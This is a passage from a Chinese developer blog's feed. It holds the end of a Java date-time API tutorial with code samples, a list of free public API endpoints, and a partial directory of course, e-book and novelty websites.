   <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">dayAfterTommorrow</span> <span class="operator">=</span> <span class="string">&quot;20180205&quot;</span>;</span><br><span class="line">        <span class="type">LocalDate</span> <span class="variable">formatted</span> <span class="operator">=</span> LocalDate.parse(dayAfterTommorrow,</span><br><span class="line">                DateTimeFormatter.BASIC_ISO_DATE);</span><br><span class="line">        System.out.println(dayAfterTommorrow+<span class="string">&quot;  格式化后的日期为:  &quot;</span>+formatted);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="示例18-字符串互转日期类型">示例18:字符串互转日期类型</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> cn.allbs.demo;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.time.LocalDate;</span><br><span class="line"><span class="keyword">import</span> java.time.LocalDateTime;</span><br><span class="line"><span class="keyword">import</span> java.time.format.DateTimeFormatter;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Demo18</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="type">LocalDateTime</span> <span class="variable">date</span> <span class="operator">=</span> LocalDateTime.now();</span><br><span class="line"></span><br><span class="line">        <span class="type">DateTimeFormatter</span> <span class="variable">format1</span> <span class="operator">=</span> DateTimeFormatter.ofPattern(<span class="string">&quot;yyyy/MM/dd HH:mm:ss&quot;</span>);</span><br><span class="line">        <span class="comment">//日期转字符串</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">str</span> <span class="operator">=</span> date.format(format1);</span><br><span class="line"></span><br><span class="line">        System.out.println(<span class="string">&quot;日期转换为字符串:&quot;</span>+str);</span><br><span class="line"></span><br><span class="line">        <span class="type">DateTimeFormatter</span> <span class="variable">format2</span> <span class="operator">=</span> DateTimeFormatter.ofPattern(<span class="string">&quot;yyyy/MM/dd HH:mm:ss&quot;</span>);</span><br><span class="line">        <span class="comment">//字符串转日期</span></span><br><span class="line">        <span class="type">LocalDate</span> <span class="variable">date2</span> <span class="operator">=</span> LocalDate.parse(str,format2);</span><br><span class="line">        System.out.println(<span class="string">&quot;日期类型:&quot;</span>+date2);</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="示例19-字符串转时间戳">示例19:字符串转时间戳</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">LocalDateTime</span> <span class="variable">parseTime</span> <span class="operator">=</span> LocalDateTime.parse(insertTime, DateTimeFormatter.ofPattern(DatePattern.NORM_DATETIME_PATTERN));</span><br><span class="line">        builder.time(parseTime.toInstant(ZoneOffset.of(<span class="string">&quot;+0&quot;</span>)).toEpochMilli(), TimeUnit.MILLISECONDS);</span><br></pre></td></tr></table></figure><h3 id="示例20-如果你想要逻辑日历的天数，请使用以下DAYS-between-方法java-time-temporal-ChronoUnit：">示例20:如果你想要逻辑日历的天数，请使用以下DAYS.between()方法java.time.temporal.ChronoUnit：</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">LocalDate</span> <span class="variable">from</span> <span class="operator">=</span> LocalDate.of(<span class="number">2017</span>, <span class="number">9</span>, <span class="number">1</span>);</span><br><span class="line"><span class="type">long</span> <span class="variable">day</span> <span class="operator">=</span> LocalDate.now().toEpochDay() - from.toEpochDay();</span><br><span class="line">System.out.println(<span class="string">&quot;距离当前多少日：&quot;</span> + day);</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="示例21-如果你想要24个小时的日期，（持续时间），你可以使用Duration类：">示例21:如果你想要24个小时的日期，（持续时间），你可以使用Duration类：</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">LocalDate</span> <span class="variable">today</span> <span class="operator">=</span> LocalDate.now()</span><br><span class="line"><span class="type">LocalDate</span> <span class="variable">yesterday</span> <span class="operator">=</span> today.minusDays(<span class="number">1</span>);</span><br><span class="line"><span class="comment">// Duration oneDay = Duration.between(today, yesterday); // throws an exception</span></span><br><span class="line">Duration.between(today.atStartOfDay(), yesterday.atStartOfDay()).toDays() <span class="comment">// another option</span></span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;blockquote&gt;
&lt;p&gt;Java处理日期、日历和时间的方式一直为社区所诟病，将 java.util.Date设定为可变类型，以及SimpleDateFormat的非线程安全使其应用非常受限。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;新API基于</summary>
      
    
    
    
    <category term="java" scheme="https://blog.allbs.cn/categories/java/"/>
    
    
    <category term="java" scheme="https://blog.allbs.cn/tags/java/"/>
    
    <category term="LocalDateTime" scheme="https://blog.allbs.cn/tags/LocalDateTime/"/>
    
    <category term="LocalDate" scheme="https://blog.allbs.cn/tags/LocalDate/"/>
    
  </entry>
  
  <entry>
    <title>常用免费api接口</title>
    <link href="https://blog.allbs.cn/posts/32963/"/>
    <id>https://blog.allbs.cn/posts/32963/</id>
    <published>2022-02-02T03:45:00.000Z</published>
    <updated>2025-11-28T06:48:01.046Z</updated>
    
    <content type="html"><![CDATA[<p>手机号码归属地API接口：</p><p><a href="https://www.juhe.cn/docs/api/id/11">https://www.juhe.cn/docs/api/id/11</a></p><p>历史上的今天API接口：</p><p><a href="https://www.juhe.cn/docs/api/id/63">https://www.juhe.cn/docs/api/id/63</a></p><p>股票数据API接口：</p><p><a href="https://www.juhe.cn/docs/api/id/21">https://www.juhe.cn/docs/api/id/21</a></p><p>全国WIFI接口：</p><p><a href="https://www.juhe.cn/docs/api/id/18">https://www.juhe.cn/docs/api/id/18</a></p><p>星座运势接口：</p><p><a href="https://www.juhe.cn/docs/api/id/58">https://www.juhe.cn/docs/api/id/58</a></p><p>黄金数据接口：</p><p><a href="https://www.juhe.cn/docs/api/id/29">https://www.juhe.cn/docs/api/id/29</a></p><p>语音识别接口：</p><p><a href="https://www.juhe.cn/docs/api/id/134">https://www.juhe.cn/docs/api/id/134</a></p><p>周公解梦接口：</p><p><a href="https://www.juhe.cn/docs/api/id/64">https://www.juhe.cn/docs/api/id/64</a></p><p>天气预报API接口：</p><p><a href="https://www.juhe.cn/docs/api/id/73">https://www.juhe.cn/docs/api/id/73</a></p><p>身份证查询API接口：</p><p><a href="https://www.juhe.cn/docs/api/id/38">https://www.juhe.cn/docs/api/id/38</a></p><p>笑话大全API接口：</p><p><a href="https://www.juhe.cn/docs/api/id/95">https://www.juhe.cn/docs/api/id/95</a></p><p>邮编查询接口：</p><p><a href="https://www.juhe.cn/docs/api/id/66">https://www.juhe.cn/docs/api/id/66</a></p><p>老黄历接口：</p><p><a href="https://www.juhe.cn/docs/api/id/65">https://www.juhe.cn/docs/api/id/65</a></p><p>网站安全检测接口：</p><p><a href="https://www.juhe.cn/docs/api/id/19">https://www.juhe.cn/docs/api/id/19</a></p><p>手机固话来电显示接口：</p><p><a href="https://www.juhe.cn/docs/api/id/72">https://www.juhe.cn/docs/api/id/72</a></p><p>基金财务数据接口：</p><p><a href="https://www.juhe.cn/docs/api/id/28">https://www.juhe.cn/docs/api/id/28</a></p><p>成语词典接口：</p><p><a href="https://www.juhe.cn/docs/api/id/157">https://www.juhe.cn/docs/api/id/157</a></p><p>新闻头条接口：</p><p><a href="https://www.juhe.cn/docs/api/id/235">https://www.juhe.cn/docs/api/id/235</a></p><p>IP地址接口：</p><p><a href="https://www.juhe.cn/docs/api/id/1">https://www.juhe.cn/docs/api/id/1</a></p><p>问答机器人接口：</p><p><a href="https://www.juhe.cn/docs/api/id/112">https://www.juhe.cn/docs/api/id/112</a></p><p>汇率API接口：</p><p><a href="https://www.juhe.cn/docs/api/id/80">https://www.juhe.cn/docs/api/id/80</a></p><p>电影票房接口：</p><p><a href="https://www.juhe.cn/docs/api/id/44">https://www.juhe.cn/docs/api/id/44</a></p><p>万年历API接口：</p><p><a href="https://www.juhe.cn/docs/api/id/177">https://www.juhe.cn/docs/api/id/177</a></p><p>NBA赛事接口：</p><p><a href="https://www.juhe.cn/docs/api/id/92">https://www.juhe.cn/docs/api/id/92</a></p><p>IP地址查询</p><p><a href="http://apistore.baidu.com/apiworks/servicedetail/114.html">http://apistore.baidu.com/apiworks/servicedetail/114.html</a></p><p>频道新闻API_易源</p><p><a href="http://apistore.baidu.com/apiworks/servicedetail/688.html">http://apistore.baidu.com/apiworks/servicedetail/688.html</a></p><p>微信热门精选 ：</p><p><a href="http://apistore.baidu.com/apiworks/servicedetail/632.html">http://apistore.baidu.com/apiworks/servicedetail/632.html</a></p><p>天气查询</p><p><a href="http://apistore.baidu.com/apiworks/servicedetail/112.html">http://apistore.baidu.com/apiworks/servicedetail/112.html</a></p><p>中国和世界天气预报</p><p><a href="http://apistore.baidu.com/apiworks/servicedetail/478.html">http://apistore.baidu.com/apiworks/servicedetail/478.html</a></p><p>股票查询</p><p><a href="http://apistore.baidu.com/apiworks/servicedetail/115.html">http://apistore.baidu.com/apiworks/servicedetail/115.html</a></p><p>身份证查询：</p><p><a href="http://apistore.baidu.com/apiworks/servicedetail/113.html">http://apistore.baidu.com/apiworks/servicedetail/113.html</a></p><p>美女图片</p><p><a href="http://apistore.baidu.com/apiworks/servicedetail/720.html">http://apistore.baidu.com/apiworks/servicedetail/720.html</a></p><p>音乐搜索</p><p><a href="http://apistore.baidu.com/apiworks/servicedetail/1020.html">http://apistore.baidu.com/apiworks/servicedetail/1020.html</a></p><p>图灵机器人</p><p><a href="http://apistore.baidu.com/apiworks/servicedetail/736.html">http://apistore.baidu.com/apiworks/servicedetail/736.html</a></p><p>汇率转换</p><p><a href="http://apistore.baidu.com/apiworks/servicedetail/119.html">http://apistore.baidu.com/apiworks/servicedetail/119.html</a></p><p>节假日</p><p><a href="http://apistore.baidu.com/apiworks/servicedetail/1116.html">http://apistore.baidu.com/apiworks/servicedetail/1116.html</a></p><p>pullword在线分词服务</p><p><a href="http://apistore.baidu.com/apiworks/servicedetail/143.html">http://apistore.baidu.com/apiworks/servicedetail/143.html</a></p><p>去哪儿网火车票</p><p><a href="http://apistore.baidu.com/apiworks/servicedetail/697.html">http://apistore.baidu.com/apiworks/servicedetail/697.html</a></p><p>笑话大全</p><p><a href="http://apistore.baidu.com/apiworks/servicedetail/864.html">http://apistore.baidu.com/apiworks/servicedetail/864.html</a></p><p>银行卡查询服务</p><p><a href="http://apistore.baidu.com/apiworks/servicedetail/735.html">http://apistore.baidu.com/apiworks/servicedetail/735.html</a></p><p>语音合成</p><p><a href="http://apistore.baidu.com/apiworks/servicedetail/867.html">http://apistore.baidu.com/apiworks/servicedetail/867.html</a></p><p>宅言API-动漫台词接口</p><p><a href="http://apistore.baidu.com/apiworks/servicedetail/446.html">http://apistore.baidu.com/apiworks/servicedetail/446.html</a></p><p>去哪儿景点门票查询</p><p><a href="http://apistore.baidu.com/apiworks/servicedetail/140.html">http://apistore.baidu.com/apiworks/servicedetail/140.html</a></p><p>手机号码归属地</p><p><a href="http://apistore.baidu.com/apiworks/servicedetail/794.html">http://apistore.baidu.com/apiworks/servicedetail/794.html</a></p><p>体育新闻</p><p><a href="http://apistore.baidu.com/apiworks/servicedetail/711.html">http://apistore.baidu.com/apiworks/servicedetail/711.html</a></p><p>手机归属地查询</p><p><a href="http://apistore.baidu.com/apiworks/servicedetail/709.html">http://apistore.baidu.com/apiworks/servicedetail/709.html</a></p><p>科技新闻</p><p><a href="http://apistore.baidu.com/apiworks/servicedetail/1061.html">http://apistore.baidu.com/apiworks/servicedetail/1061.html</a></p><p>空气质量指数</p><p><a href="http://apistore.baidu.com/apiworks/servicedetail/116.html">http://apistore.baidu.com/apiworks/servicedetail/116.html</a></p><p>天狗健康菜谱</p><p><a href="http://apistore.baidu.com/apiworks/servicedetail/987.html">http://apistore.baidu.com/apiworks/servicedetail/987.html</a></p><p>热门游记列表</p><p><a href="http://apistore.baidu.com/apiworks/servicedetail/520.html">http://apistore.baidu.com/apiworks/servicedetail/520.html</a></p><p>天狗药品查询</p><p><a href="http://apistore.baidu.com/apiworks/servicedetail/916.html">http://apistore.baidu.com/apiworks/servicedetail/916.html</a></p><p>汉字转拼音</p><p><a href="http://apistore.baidu.com/apiworks/servicedetail/1124.html">http://apistore.baidu.com/apiworks/servicedetail/1124.html</a></p><p>国际新闻</p><p><a href="http://apistore.baidu.com/apiworks/servicedetail/823.html">http://apistore.baidu.com/apiworks/servicedetail/823.html</a></p><p>彩票</p><p><a href="http://apistore.baidu.com/apiworks/servicedetail/164.html">http://apistore.baidu.com/apiworks/servicedetail/164.html</a></p><p>微信精选</p><p><a href="http://apistore.baidu.com/apiworks/servicedetail/863.html">http://apistore.baidu.com/apiworks/servicedetail/863.html</a></p><p>天狗健康资讯</p><p><a href="http://apistore.baidu.com/apiworks/servicedetail/888.html">http://apistore.baidu.com/apiworks/servicedetail/888.html</a></p><p>兴趣点检索</p><p><a href="http://apistore.baidu.com/apiworks/servicedetail/182.html">http://apistore.baidu.com/apiworks/servicedetail/182.html</a></p><p>用药参考</p><p><a href="http://apistore.baidu.com/apiworks/servicedetail/754.html">http://apistore.baidu.com/apiworks/servicedetail/754.html</a></p><p>天狗健康知识</p><p><a href="http://apistore.baidu.com/apiworks/servicedetail/899.html">http://apistore.baidu.com/apiworks/servicedetail/899.html</a></p><p>奇闻趣事</p><p><a href="http://apistore.baidu.com/apiworks/servicedetail/633.html">http://apistore.baidu.com/apiworks/servicedetail/633.html</a></p><p>花边新闻</p><p><a href="http://apistore.baidu.com/apiworks/servicedetail/768.html">http://apistore.baidu.com/apiworks/servicedetail/768.html</a></p><p>天狗医院大全</p><p><a href="http://apistore.baidu.com/apiworks/servicedetail/988.html">http://apistore.baidu.com/apiworks/servicedetail/988.html</a></p><p>生活健康</p><p><a href="http://apistore.baidu.com/apiworks/servicedetail/989.html">http://apistore.baidu.com/apiworks/servicedetail/989.html</a></p><p>一些其他的API接口：</p><p>豆瓣开放</p><p><a href="https://developers.douban.com/wiki/?title=guide">https://developers.douban.com/wiki/?title=guide</a></p><p>淘宝开放平台</p><p><a href="http://open.taobao.com/?spm=a219a.7395905.1.1.YdFDV6">http://open.taobao.com/?spm=a219a.7395905.1.1.YdFDV6</a></p><p>图灵语音</p><p><a href="http://www.tuling123.com/help/h_cent_andriodsdk.jhtml?nav=doc">http://www.tuling123.com/help/h_cent_andriodsdk.jhtml?nav=doc</a></p><p>讯飞语音<a href="http://www.xfyun.cn/robots/solution">http://www.xfyun.cn/robots/solution</a></p><p>马化腾的微信开放平台（对应的还有腾讯开放平台）</p><p><a href="https://open.weixin.qq.com/">https://open.weixin.qq.com/</a></p><p>融云IM</p><p><a href="https://developer.rongcloud.cn/signin?returnUrl=%2Fapp%2Fappkey%2FPv4vYQwaxSZdfpLX5AI%3D">https://developer.rongcloud.cn/signin?returnUrl=%2Fapp%2Fappkey%2FPv4vYQwaxSZdfpLX5AI%3D</a></p><p>百度开发者中心</p><p><a href="http://developer.baidu.com/">http://developer.baidu.com/</a></p><p>人脸识别</p><p><a href="http://www.faceplusplus.com.cn/">http://www.faceplusplus.com.cn/</a></p><p>高德地图:</p><p><a href="http://lbs.amap.com/">http://lbs.amap.com/</a></p><p>蜻蜓:</p><p>FM</p><p><a href="http://open.qingting.fm">http://open.qingting.fm</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;手机号码归属地API接口：&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.juhe.cn/docs/api/id/11&quot;&gt;https://www.juhe.cn/docs/api/id/11&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;历史上的今天API接口：&lt;/p&gt;
&lt;p&gt;&lt;a hr</summary>
      
    
    
    
    <category term="api" scheme="https://blog.allbs.cn/categories/api/"/>
    
    
    <category term="api" scheme="https://blog.allbs.cn/tags/api/"/>
    
  </entry>
  
  <entry>
    <title>可用资源信息</title>
    <link href="https://blog.allbs.cn/posts/14232/"/>
    <id>https://blog.allbs.cn/posts/14232/</id>
    <published>2022-02-02T03:45:00.000Z</published>
    <updated>2025-11-28T06:48:01.046Z</updated>
    
    <content type="html"><![CDATA[<div class="flink"><div class="flink-name">课程资源</div><div class="flink-list">      <div class="flink-list-item">        <a href="https://www.ted.com/topics/china" title="TED" target="_blank">          <div class="flink-item-icon">            <img class="no-lightbox" src="https://pa.tedcdn.com/favicon.ico" onerror='this.onerror=null;this.src="/img/friend_404.gif"' alt="TED" />          </div>          <div class="flink-item-name">TED</div>          <div class="flink-item-desc" title="最优质的演讲">最优质的演讲</div>        </a>      </div>      <div class="flink-list-item">        <a href="https://gfsoso.99lb.net/scholar.html" title="谷粉学术" target="_blank">          <div class="flink-item-icon">            <img class="no-lightbox" src="https://img.99lb.net/images/logo.png" onerror='this.onerror=null;this.src="/img/friend_404.gif"' alt="谷粉学术" />          </div>          <div class="flink-item-name">谷粉学术</div>          <div class="flink-item-desc" title="谷粉学术">谷粉学术</div>        </a>      </div>      <div class="flink-list-item">        <a href="http://www.dxzy163.com/" title="大学资源网" target="_blank">          <div class="flink-item-icon">            <img class="no-lightbox" src="http://www.dxzy163.com//template/default/images/logo.png" onerror='this.onerror=null;this.src="/img/friend_404.gif"' alt="大学资源网" />          </div>          <div class="flink-item-name">大学资源网</div>          <div class="flink-item-desc" title="从事大、中、小学课程以及考研、外语、电脑等课程视频的网站">从事大、中、小学课程以及考研、外语、电脑等课程视频的网站</div>        </a>      </div>      <div class="flink-list-item">        <a href="http://www.jiandati.com/" title="简答题" target="_blank">          <div class="flink-item-icon">            <img class="no-lightbox" src="https://www.jiandati.com/images/brand.svg" onerror='this.onerror=null;this.src="/img/friend_404.gif"' alt="简答题" />          </div>          <div class="flink-item-name">简答题</div>          <div class="flink-item-desc" title="搜索问题与答案">搜索问题与答案</div>        </a>      </div>      <div class="flink-list-item">        <a href="https://open.163.com/ted/" title="网易公开课" target="_blank">          <div class="flink-item-icon">            <img class="no-lightbox" src="https://plus-cms-bucket.ws.126.net/2018/09/26/258f3b40903c438e8e78d50628a1ea3e.png" onerror='this.onerror=null;this.src="/img/friend_404.gif"' alt="网易公开课" />          </div>          <div class="flink-item-name">网易公开课</div>          <div class="flink-item-desc" title="全球名校视频公开课项目">全球名校视频公开课项目</div>        </a>      </div>      <div class="flink-list-item">        <a href="https://study.163.com/" title="网易云课堂" target="_blank">          <div class="flink-item-icon">            <img class="no-lightbox" src="https://edu-image.nosdn.127.net/b42778566d104b7dbe330ff09a0c18c8.png?imageView&quality=100" onerror='this.onerror=null;this.src="/img/friend_404.gif"' alt="网易云课堂" />          </div>          <div class="flink-item-name">网易云课堂</div>          <div class="flink-item-desc" title="网易公司打造的在线实用技能学习平台">网易公司打造的在线实用技能学习平台</div>        </a>      </div>      <div class="flink-list-item">        <a href="www.icourse163.org" title="中国大学MOOC" target="_blank">          <div class="flink-item-icon">            <img class="no-lightbox" src="https://edu-image.nosdn.127.net/3310f128e53b406f94400f7ae6046db2.png?imageView&quality=100" onerror='this.onerror=null;this.src="/img/friend_404.gif"' alt="中国大学MOOC" />          </div>          <div class="flink-item-name">中国大学MOOC</div>          <div class="flink-item-desc" title="教育部公布首批教育移动互联网应用程序（教育APP）备案名单">教育部公布首批教育移动互联网应用程序（教育APP）备案名单</div>        </a>      </div>      <div class="flink-list-item">        <a href="www.bilibili.com" title="哔哩哔哩弹幕网" target="_blank">          <div class="flink-item-icon">            <img class="no-lightbox" src="https://nas.allbs.cn:8888/cloudpic/2022/07/c45b67298fe53a732c893c5b872beb7d.png" onerror='this.onerror=null;this.src="/img/friend_404.gif"' alt="哔哩哔哩弹幕网" />          </div>          <div class="flink-item-name">哔哩哔哩弹幕网</div>          <div class="flink-item-desc" title="B站">B站</div>        </a>      </div>      <div class="flink-list-item">        <a href="www.51zxw.net" title="我要自学网" target="_blank">          <div class="flink-item-icon">            <img class="no-lightbox" src="https://www.51zxw.net/Contents/Images/logo.png" onerror='this.onerror=null;this.src="/img/friend_404.gif"' alt="我要自学网" />          </div>          <div class="flink-item-name">我要自学网</div>          <div class="flink-item-desc" title="视频教学网">视频教学网</div>        </a>      </div>      <div class="flink-list-item">        <a href="www.zhihu.com" title="知乎" target="_blank">          <div class="flink-item-icon">            <img class="no-lightbox" src="https://nas.allbs.cn:8888/cloudpic/2022/07/19b8ac8f0b5bc307c974693509b4a3f9.png" onerror='this.onerror=null;this.src="/img/friend_404.gif"' alt="知乎" />          </div>          <div class="flink-item-name">知乎</div>          <div class="flink-item-desc" title="中文互联网高质量的问答社区和创作者聚集的原创内容平台">中文互联网高质量的问答社区和创作者聚集的原创内容平台</div>        </a>      </div>      <div class="flink-list-item">        <a href="www.xuetangx.com" title="学堂在线" target="_blank">          <div class="flink-item-icon">            <img class="no-lightbox" src="https://storagecdn.xuetangx.com/public_assets/xuetangx/bbs/cover/学堂无域名logo.png" onerror='this.onerror=null;this.src="/img/friend_404.gif"' alt="学堂在线" />          </div>          <div class="flink-item-name">学堂在线</div>          <div class="flink-item-desc" title="大规模开放在线课程">大规模开放在线课程</div>        </a>      </div>      <div class="flink-list-item">        <a href="www.icourses.cn" title="爱课程" target="_blank">          <div class="flink-item-icon">            <img class="no-lightbox" src="https://www.icourses.cn/web/icourse/page/imgs/logo.png" onerror='this.onerror=null;this.src="/img/friend_404.gif"' alt="爱课程" />          </div>          <div class="flink-item-name">爱课程</div>          <div class="flink-item-desc" title="高等教育课程资源共享平台">高等教育课程资源共享平台</div>        </a>      </div>      <div class="flink-list-item">        <a href="www.cn-ki.net" title="iData" target="_blank">          <div class="flink-item-icon">            <img class="no-lightbox" src="https://www.cn-ki.net/static/idata_logo.png" onerror='this.onerror=null;this.src="/img/friend_404.gif"' alt="iData" />          </div>          <div class="flink-item-name">iData</div>          <div class="flink-item-desc" title="知识检索">知识检索</div>        </a>      </div>      <div class="flink-list-item">        <a href="https://www.wqkaoshi.com" title="文泉考试" target="_blank">          <div class="flink-item-icon">            <img class="no-lightbox" src="https://www.wqkaoshi.com/files/system/2018/01-09/14363423ce71039374.png?1.2.5" onerror='this.onerror=null;this.src="/img/friend_404.gif"' alt="文泉考试" />          </div>          <div class="flink-item-name">文泉考试</div>          <div class="flink-item-desc" title="考试平台">考试平台</div>        </a>      </div>      <div class="flink-list-item">        <a href="https://www.csdn.net/" title="CSDN" target="_blank">          <div class="flink-item-icon">            <img class="no-lightbox" src="https://nas.allbs.cn:8888/cloudpic/2022/07/66e02dfa0bd273d9e2c6be4fdd930a41.png" onerror='this.onerror=null;this.src="/img/friend_404.gif"' alt="CSDN" />          </div>          <div class="flink-item-name">CSDN</div>          <div class="flink-item-desc" title="中文技术博客">中文技术博客</div>        </a>      </div></div><div class="flink-name">书籍资源</div><div class="flink-list">      <div class="flink-list-item">        <a href="https://www.bookstack.cn/" title="书栈网" target="_blank">          <div class="flink-item-icon">            <img class="no-lightbox" src="https://static.sitestack.cn/static/images/logo.png" onerror='this.onerror=null;this.src="/img/friend_404.gif"' alt="书栈网" />          </div>          <div class="flink-item-name">书栈网</div>          <div class="flink-item-desc" title="分享知识,共享智慧">分享知识,共享智慧</div>        </a>      </div>      <div class="flink-list-item">        <a href="https://www.xz577.com/" title="码农之家" target="_blank">          <div class="flink-item-icon">            <img class="no-lightbox" src="https://xz577.fuhao321.com/xz577/images/logo.jpg" onerror='this.onerror=null;this.src="/img/friend_404.gif"' alt="码农之家" />          </div>          <div class="flink-item-name">码农之家</div>          <div class="flink-item-desc" title="计算机电子书下载">计算机电子书下载</div>        </a>      </div>      <div class="flink-list-item">        <a href="www.jiumodiary.com" title="鸠摩搜书" target="_blank">          <div class="flink-item-icon">            <img class="no-lightbox" src="https://www2.jiumodiary.com/images/front/eleps.png" onerror='this.onerror=null;this.src="/img/friend_404.gif"' alt="鸠摩搜书" />          </div>          <div class="flink-item-name">鸠摩搜书</div>          <div class="flink-item-desc" title="书籍搜索">书籍搜索</div>        </a>      </div>      <div class="flink-list-item">        <a href="http://www.zxcs.me/" title="知轩藏书" target="_blank">          <div class="flink-item-icon">            <img class="no-lightbox" src="http://zxcs.me/content/templates/ewceocms_t/images/logo.png" onerror='this.onerror=null;this.src="/img/friend_404.gif"' alt="知轩藏书" />          </div>          <div class="flink-item-name">知轩藏书</div>          <div class="flink-item-desc" title="精校小说">精校小说</div>        </a>      </div>      <div class="flink-list-item">        <a href="https://www.jb51.net/books/" title="脚本之家" target="_blank">          <div class="flink-item-icon">            <img class="no-lightbox" src="https://www.jb51.net/images/logo.gif" onerror='this.onerror=null;this.src="/img/friend_404.gif"' alt="脚本之家" />          </div>          <div class="flink-item-name">脚本之家</div>          <div class="flink-item-desc" title="电子书下载">电子书下载</div>        </a>      </div>      <div class="flink-list-item">        <a href="https://new.shuge.org/" title="书格" target="_blank">          <div class="flink-item-icon">            <img class="no-lightbox" src="https://new.shuge.org/wp-content/themes/artview/images/layout/logo.png" onerror='this.onerror=null;this.src="/img/friend_404.gif"' alt="书格" />          </div>          <div class="flink-item-name">书格</div>          <div class="flink-item-desc" title="在线古籍图书馆">在线古籍图书馆</div>        </a>      </div>      <div class="flink-list-item">        <a href="http://cajviewer.cnki.net/cajcloud/" title="中国知网" target="_blank">          <div class="flink-item-icon">            <img class="no-lightbox" src="https://cajviewer.cnki.net/imgs/logo_cnki@2x.png" onerror='this.onerror=null;this.src="/img/friend_404.gif"' alt="中国知网" />          </div>          <div class="flink-item-name">中国知网</div>          <div class="flink-item-desc" title="面向海内外读者提供中国学术文献、外文文献、学位论文、报纸、会议、年鉴、工具书等各类资源">面向海内外读者提供中国学术文献、外文文献、学位论文、报纸、会议、年鉴、工具书等各类资源</div>        </a>      </div></div><div class="flink-name">冷知识</div><div class="flink-desc">黑科技</div><div class="flink-list">      <div class="flink-list-item">        <a href="http://fakeupdate.net/" title="上班摸鱼必备" target="_blank">          <div class="flink-item-icon">            <img class="no-lightbox" src="null" onerror='this.onerror=null;this.src="/img/friend_404.gif"' alt="上班摸鱼必备" />          </div>          <div class="flink-item-name">上班摸鱼必备</div>          <div class="flink-item-desc" title="假装电脑系统升级">假装电脑系统升级</div>        </a>      </div>      <div class="flink-list-item">        <a href="http://www.species-in-pieces.com/" title="PIECES 拼图" target="_blank">          <div class="flink-item-icon">            <img class="no-lightbox" src="null" onerror='this.onerror=null;this.src="/img/friend_404.gif"' alt="PIECES 拼图" />          </div>          <div class="flink-item-name">PIECES 拼图</div>          <div class="flink-item-desc" title="30 个 CSS 碎片进行拼图，呈现 30 种濒临灭绝的动物">30 个 CSS 碎片进行拼图，呈现 30 种濒临灭绝的动物</div>        </a>      </div>      <div class="flink-list-item">        <a href="https://pissang.github.io/voxelize-image/" title="图片立体像素画" target="_blank">          <div class="flink-item-icon">            <img class="no-lightbox" src="null" onerror='this.onerror=null;this.src="/img/friend_404.gif"' alt="图片立体像素画" />          </div>          <div class="flink-item-name">图片立体像素画</div>          <div class="flink-item-desc" title="null">null</div>        </a>      </div>      <div class="flink-list-item">        <a href="http://dict.ftqq.com" title="福利单词" target="_blank">          <div class="flink-item-icon">            <img class="no-lightbox" src="null" onerror='this.onerror=null;this.src="/img/friend_404.gif"' alt="福利单词" />          </div>          <div class="flink-item-name">福利单词</div>          <div class="flink-item-desc" title="一个不太正经的背单词网站">一个不太正经的背单词网站</div>        </a>      </div>      <div class="flink-list-item">        <a href="https://thispersondoesnotexist.com/" title="查无此人" target="_blank">          <div class="flink-item-icon">            <img class="no-lightbox" src="null" onerror='this.onerror=null;this.src="/img/friend_404.gif"' alt="查无此人" />          </div>          <div class="flink-item-name">查无此人</div>          <div class="flink-item-desc" title="刷新网站，展现一张AI 生成的人脸照片">刷新网站，展现一张AI 生成的人脸照片</div>        </a>      </div>      <div class="flink-list-item">        <a href="https://mapchart.net/" title="在线制作地图图例" target="_blank">          <div class="flink-item-icon">            <img class="no-lightbox" src="null" onerror='this.onerror=null;this.src="/img/friend_404.gif"' alt="在线制作地图图例" />          </div>          <div class="flink-item-name">在线制作地图图例</div>          <div class="flink-item-desc" title="null">null</div>        </a>      </div>      <div class="flink-list-item">        <a href="http://weavesilk.com/" title="创意光线绘画" target="_blank">          <div class="flink-item-icon">            <img class="no-lightbox" src="null" onerror='this.onerror=null;this.src="/img/friend_404.gif"' alt="创意光线绘画" />          </div>          <div class="flink-item-name">创意光线绘画</div>          <div class="flink-item-desc" title="null">null</div>        </a>      </div>      <div class="flink-list-item">        <a href="https://stellarium-web.org/" title="星系观察" target="_blank">          <div class="flink-item-icon">            <img class="no-lightbox" src="null" onerror='this.onerror=null;this.src="/img/friend_404.gif"' alt="星系观察" />          </div>          <div class="flink-item-name">星系观察</div>          <div class="flink-item-desc" 